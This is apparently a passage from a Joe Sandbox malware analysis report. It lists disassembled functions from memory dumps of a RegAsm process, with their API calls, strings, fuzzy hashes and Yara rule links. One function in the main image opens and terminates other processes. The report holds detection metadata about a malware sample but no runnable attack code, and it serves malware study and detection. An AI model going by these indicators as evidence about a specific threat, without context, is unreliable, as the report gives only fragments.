EnterCriticalSection.KERNEL32(6CBCE7DC), ref: 6CB80838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6CB8084C
EnterCriticalSection.KERNEL32(?), ref: 6CB808AF
LeaveCriticalSection.KERNEL32(?), ref: 6CB808BD
LeaveCriticalSection.KERNEL32(6CBCE7DC), ref: 6CB808D5

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 1ba33300b159a162a5e90b6b483a710698a5fd5be9c20317aa2cd8e20357d194
Instruction ID: ebfd6960ba49878fd15009e8438cc1910d03057dc19a925e9a0d4d1e3b2e0aeb
Opcode Fuzzy Hash: 1ba33300b159a162a5e90b6b483a710698a5fd5be9c20317aa2cd8e20357d194
Instruction Fuzzy Hash: 6E21C5317032CA9BDF04CF65E885BBE7379EF49749F900528D909A7A40DF31A6448BD1

Function 6CB9CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CB8DA31,00100000,?,?,00000000,?), ref: 6CB9CDA4

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

Part of subcall function 6CB9D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CB9CDBA,00100000,?,00000000,?,6CB8DA31,00100000,?,?,00000000,?), ref: 6CB9D158
Part of subcall function 6CB9D130: InitializeConditionVariable.KERNEL32(00000098,?,6CB9CDBA,00100000,?,00000000,?,6CB8DA31,00100000,?,?,00000000,?), ref: 6CB9D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CB8DA31,00100000,?,?,00000000,?), ref: 6CB9CDC4

Part of subcall function 6CB97480: ReleaseSRWLockExclusive.KERNEL32(?,6CBA15FC,?,?,?,?,6CBA15FC,?), ref: 6CB974EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CB8DA31,00100000,?,?,00000000,?), ref: 6CB9CECC

Part of subcall function 6CB5CA10: mozalloc_abort.MOZGLUE(?), ref: 6CB5CAA2

Part of subcall function 6CB8CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CB9CEEA,?,?,?,?,00000000,?,6CB8DA31,00100000,?,?,00000000), ref: 6CB8CB57
Part of subcall function 6CB8CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CB8CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CB9CEEA,?,?), ref: 6CB8CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CB8DA31,00100000,?,?,00000000,?), ref: 6CB9D058

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: b872b6af566179e45b3e480bc0de8537b5603903a3dc954e4e82fe732a5aa7d7
Instruction ID: b9b08d5cdfcc2efe9d8d8b0bbbf203d8de7b6f765a4e7945583d29295da38edf
Opcode Fuzzy Hash: b872b6af566179e45b3e480bc0de8537b5603903a3dc954e4e82fe732a5aa7d7
Instruction Fuzzy Hash: 06D16F71A04B469FD708CF38C590799F7E1FF89304F01866DD85987752EB31A9A9CB81

Function 6CB51720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CB517B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CB518EE
free.MOZGLUE(?), ref: 6CB51911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB5194C

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 75adba541aed6c43c8da2651ad59ccaf1531cee94121bbbc32919807fb6c2a1f
Instruction ID: e23520dcc5fca027252baff93f2ef5d2b854793c11227d437b854fe864b85a7d
Opcode Fuzzy Hash: 75adba541aed6c43c8da2651ad59ccaf1531cee94121bbbc32919807fb6c2a1f
Instruction Fuzzy Hash: ED81D270A15245DFDB08CF68D8C49AEBBB1FF89314F48462CE811AB754D730E965CBA2

Function 6CB65C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CB65D40
EnterCriticalSection.KERNEL32(6CBCF688), ref: 6CB65D67
__aulldiv.LIBCMT ref: 6CB65DB4
LeaveCriticalSection.KERNEL32(6CBCF688), ref: 6CB65DED

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: c378be26fa799ac0ded9e8141d2b1135ff74c7b094b38a04142f52bdfb321dd3
Instruction ID: d8b02cc0bef4a7afffc7509fbb259e31b6dfaf0620c06abdc6c35d8d05061c87
Opcode Fuzzy Hash: c378be26fa799ac0ded9e8141d2b1135ff74c7b094b38a04142f52bdfb321dd3
Instruction Fuzzy Hash: AE51A271F001698FCF08CFA9C855ABEBBB1FB89304F19866DD815A7B91C7306A45CB91

Function 6CBA7170 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CBA7250
EnterCriticalSection.KERNEL32(6CBCF688), ref: 6CBA7277
__aulldiv.LIBCMT ref: 6CBA72C4
LeaveCriticalSection.KERNEL32(6CBCF688), ref: 6CBA72F7

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: a478b14d8445332c3d7ca3bf15246c081d4c13f18a71f491f9240aee821453e7
Instruction ID: 9d2b8c364d01ff93f944c32c51e1ba92e85f9684a1610a0b0a49bac4a39788c1
Opcode Fuzzy Hash: a478b14d8445332c3d7ca3bf15246c081d4c13f18a71f491f9240aee821453e7
Instruction Fuzzy Hash: B2517E71F042698FCF08CFA8C851ABEBBB1FB89304F158669D855B7754C7706A46CB90

Function 6CB4CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB4CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CB4CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CB4CF4E

Strings

0, xrefs: 6CB4CF30

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 296cb024f9158bef3ad1b953c06099d48313e643696a4db44bef4037b17b8d2e
Instruction ID: 4d07cfdc737d24887576b61db2f696c34d767f5ba2f192b942573e92c7637061
Opcode Fuzzy Hash: 296cb024f9158bef3ad1b953c06099d48313e643696a4db44bef4037b17b8d2e
Instruction Fuzzy Hash: B7510175A042968FCB00CF19C890AAABBB5EF99300F19859DD8595F356D731FD0ACBE0

Function 6CB8E390 Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB8E3E4
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8E3F1
memset.VCRUNTIME140(?,00000000,?), ref: 6CB8E4AB

Part of subcall function 6CB55D40: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,?,?,?,6CB8D2DA,00000001), ref: 6CB55D66

ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8E4F5
GetCurrentThreadId.KERNEL32 ref: 6CB8E577
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8E584
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8E5DE
memset.VCRUNTIME140(?,00000000,00000000), ref: 6CB8E6DA
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CB8E864
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB8E883
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB8E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CB8E5A1, 6CB8E5CC, 6CB8E5FF, 6CB8E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CB8E722, 6CB8E750, 6CB8E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CB8E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CB8E826, 6CB8E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CB8E777

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreememset$Xbad_function_call@std@@malloc
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 905598890-53385798
Opcode ID: 09fbfce8bac7dd3c9d41d05f48f75bcb483fb283d26a0c508dbe9897ef20f546
Instruction ID: d56bcbc5023dffa8ebfdf3c94a595da1b34a36acedd5d4d2634aec824625c080
Opcode Fuzzy Hash: 09fbfce8bac7dd3c9d41d05f48f75bcb483fb283d26a0c508dbe9897ef20f546
Instruction Fuzzy Hash: 6C419A78A0168ACFDB14CF68C490AAEB7B1FF4A304F14416DD81A9BB81D734E954CBD1

Function 6CBA77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CBA7829

Part of subcall function 6CB7CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CB431A7), ref: 6CB7CC45
Part of subcall function 6CB7CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CB431A7), ref: 6CB7CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CBA789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CBA78CF

Part of subcall function 6CB44DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB44E5A
Part of subcall function 6CB44DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CB44E97

Part of subcall function 6CB44290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB83EBD,6CB83EBD,00000000), ref: 6CB442A9

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 69827da76cfd60574d05e450b57d0acd72ebf2eb9a6ef711e6f58aa71695cf58
Instruction ID: fe9d8abb7431f0ff0b5e16810fa366dc5b8cd2d2f23208bbdc0701474777169a
Opcode Fuzzy Hash: 69827da76cfd60574d05e450b57d0acd72ebf2eb9a6ef711e6f58aa71695cf58
Instruction Fuzzy Hash: 09419F719087869BD300DF29C48056BFBF4FFCA254F604A2EE4A997640DB70E55ACBD2

Function 6CB9DAE0 Relevance: 6.1, APIs: 4, Instructions: 113COMMON

Download Yara Rule

APIs

??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB9DB86
??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB9DC0E
free.MOZGLUE(?), ref: 6CB9DC2E
free.MOZGLUE(?), ref: 6CB9DC40

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Impl@detail@mozilla@@Mutexfree
String ID:
API String ID: 3186548839-0
Opcode ID: 27c742c157bbb42e22fd618b84e44131c2523f014e225e711ed454df51f1d7a0
Instruction ID: 73572ace690a53a40906aab1d735f7df3458df3458e898db9174683dd57576d9
Opcode Fuzzy Hash: 27c742c157bbb42e22fd618b84e44131c2523f014e225e711ed454df51f1d7a0
Instruction Fuzzy Hash: 3F4175756007408FC710CF35C098A9EBBF6EF89354F55882DE8AA87751EB30E844CB92

Function 6CB86470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CB882BC,?,?), ref: 6CB8649B

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB864A9

Part of subcall function 6CB7FA80: GetCurrentThreadId.KERNEL32 ref: 6CB7FA8D
Part of subcall function 6CB7FA80: AcquireSRWLockExclusive.KERNEL32(6CBCF448), ref: 6CB7FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB8653F
free.MOZGLUE(?), ref: 6CB8655A

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: aa2d7ff4fededf4745129bd3d24c5a04d7210c71e0042e3c7759d931a8dd14bc
Instruction ID: 3c22366d284c578c18b645686adf69602fa8a465fc209424bffd5c48b3110fd9
Opcode Fuzzy Hash: aa2d7ff4fededf4745129bd3d24c5a04d7210c71e0042e3c7759d931a8dd14bc
Instruction Fuzzy Hash: 273170B5A053459FDB04CF14D884A9EBBF4FF89314F10842EE85A97741DB30EA19CB92

Function 6CB9A2B0 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CB9A315
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?), ref: 6CB9A31F
free.MOZGLUE(00000000,?,?,?,?), ref: 6CB9A36A

Part of subcall function 6CB65E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB65EDB
Part of subcall function 6CB65E90: memset.VCRUNTIME140(6CBA7765,000000E5,55CCCCCC), ref: 6CB65F27
Part of subcall function 6CB65E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB65FB2

Part of subcall function 6CB92140: free.MOZGLUE(?,00000060,?,6CB97D36,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB9215D

free.MOZGLUE(00000000), ref: 6CB9A37C

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveXbad_function_call@std@@memset
String ID:
API String ID: 700533648-0
Opcode ID: 65300559956de61a19e58c5d66896d6e6419a20defe157fc41d11128ea4fcac6
Instruction ID: 6ec9258e6f0d1fa03e1293892c71bc01d076f7307bcd234339188f80e61f80f0
Opcode Fuzzy Hash: 65300559956de61a19e58c5d66896d6e6419a20defe157fc41d11128ea4fcac6
Instruction Fuzzy Hash: 1221F271E052649BCB008F06D800B9FBBB8EF87718F048025ED095BB01DB32ED06CAD2

Function 00418F70 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00418F8B

Part of subcall function 004187F0: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00418FBE,00000000), ref: 004187FB
Part of subcall function 004187F0: HeapAlloc.KERNEL32(00000000,?,?,00418FBE,00000000), ref: 00418802
Part of subcall function 004187F0: wsprintfW.USER32 ref: 00418818

OpenProcess.KERNEL32(00001001,00000000,?), ref: 0041904B
TerminateProcess.KERNEL32(00000000,00000000), ref: 00419069
CloseHandle.KERNEL32(00000000), ref: 00419076

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: 4ff126167b0771d044181f57398eb51b6d83ce20c11284de7bc47067dc980c11
Instruction ID: 3daad27826ff673201e4cbb303e81af6821d19ef8fccaa22ba62c435337ce2e5
Opcode Fuzzy Hash: 4ff126167b0771d044181f57398eb51b6d83ce20c11284de7bc47067dc980c11
Instruction Fuzzy Hash: 02316D71E01208AFDB24DFE0CD49BEDB775AF48304F104059F606AB294DBB8AE85CB55

Function 6CB7FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CB9D019,?,?,?,?,?,00000000,?,6CB8DA31,00100000,?), ref: 6CB7FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CB9D019,?,?,?,?,?,00000000,?,6CB8DA31,00100000,?,?), ref: 6CB7FFF5
free.MOZGLUE(?,?,?,?,?,6CB9D019,?,?,?,?,?,00000000,?,6CB8DA31,00100000,?), ref: 6CB8001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CB9D019,?,?,?,?,?,00000000,?,6CB8DA31,00100000,?,?), ref: 6CB8002A

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: cc1d60dd7bd0d18fe45b185ae6ac9a625c5363668dc6d637e26c9ec6e9a73c5c
Instruction ID: 563d1ba377b63f2108946a7c2993fe05b36579dfc75b5dc24df6183480eccd7c
Opcode Fuzzy Hash: cc1d60dd7bd0d18fe45b185ae6ac9a625c5363668dc6d637e26c9ec6e9a73c5c
Instruction Fuzzy Hash: E72106B2A012555FDB189E7CDC948AFB7BAEB853243250338E825D7780EA309D0187E5

Function 6CB65B50 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,6CB656EE,?,00000001), ref: 6CB65B85
EnterCriticalSection.KERNEL32(6CBCF688,?,?,?,6CB656EE,?,00000001), ref: 6CB65B90
LeaveCriticalSection.KERNEL32(6CBCF688,?,?,?,6CB656EE,?,00000001), ref: 6CB65BD8
GetTickCount64.KERNEL32 ref: 6CB65BE4

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Count64CounterEnterLeavePerformanceQueryTick
String ID:
API String ID: 2796706680-0
Opcode ID: 673267a1a949bbe66c95c751cb4c0c327248421c0e55293b0f872d7c1cc7d43e
Instruction ID: c8f2dd04f398594f8d2960328421b92d45895aa550b45b3d561207ac865e7a3b
Opcode Fuzzy Hash: 673267a1a949bbe66c95c751cb4c0c327248421c0e55293b0f872d7c1cc7d43e
Instruction Fuzzy Hash: 7E21BF757043849FCB08CF68C45565EBBF9EB8E614F04882EE8DA87791DB30AA04CB81

Function 6CB91B80 Relevance: 6.1, APIs: 4, Instructions: 77threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB91B98
AcquireSRWLockExclusive.KERNEL32(?,?,6CB91D96,00000000), ref: 6CB91BA1
ReleaseSRWLockExclusive.KERNEL32(?,?,6CB91D96,00000000), ref: 6CB91BB5
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB91C25

Part of subcall function 6CB91C60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,6CB9759E,?,?), ref: 6CB91CB4

Memory Dump Source

